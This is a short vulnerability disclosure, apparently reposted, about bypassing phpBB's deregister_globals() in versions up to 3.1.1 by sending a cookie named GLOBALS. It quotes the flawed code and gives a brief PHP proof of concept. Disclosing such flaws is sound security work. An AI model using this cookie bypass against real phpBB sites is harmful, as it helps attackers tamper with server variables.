phpBB <= 3.1.1 deregister_globals() Function Bypass

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phpBB <= 3.1.1 deregister_globals() Function Bypass

phpBB <= 3.1.1 deregister_globals() Function Bypass

Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.11.18

When PHP's register_globals configuration directive set on, phpBB will call deregister_globals() function, all global variables registered by PHP will be destroyed.  But deregister_globals() functions can be bypassed.

```
    $input = array_merge(
        array_keys($_GET),
        array_keys($_POST),
        array_keys($_COOKIE), 
        array_keys($_SERVER),
        array_keys($_SESSION),
        array_keys($_ENV),
        array_keys($_FILES)
    );

    foreach ($input as $varname)
    {
        if (isset($not_unset[$varname]))
        {
            if ($varname !== 'GLOBALS' || isset($_GET['GLOBALS']) || isset($_POST['GLOBALS']) || isset($_SERVER['GLOBALS']) || isset($_SESSION['GLOBALS']) || isset($_ENV['GLOBALS']) || isset($_FILES['GLOBALS']))
            {
                exit;
            }
            else
            {
                $cookie = &$_COOKIE;
                while (isset($cookie['GLOBALS']))
                {
                    if (!is_array($cookie['GLOBALS']))
                    {
                        break;
                    }
                    ....
            }
        }
        unset($GLOBALS[$varname]);
    }
```

In the above code we see, when request $_COOKIE['GLOBALS'] = 1, $GLOBALS['GLOBALS'] will be destroyed by unset(). This means $GLOBALS array will be destroyed. This also means you will not be able to use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. Because the binding between the $GLOBALS array and the global symbol table has been broken. All global variables registered by PHP form $_COOKIE, $_SERVER, $_SESSION, $_ENV, and $_FILES arrays will be not unregistered.

Proof of Concept

```
$_COOKIE['GLOBALS'] = 1;
$_COOKIE['ryat'] = $ryat = 'ryat';

deregister_globals();

var_dump($GLOBALS);
var_dump($ryat);

$GLOBALS['ryat'] = 'hi';

var_dump($GLOBALS);
var_dump($ryat);
```

P.S. I had reported the issue to the phpBB developers, but they do not consider this a security issue.

Sursa: http://80vul.com/phpbb/vul.txt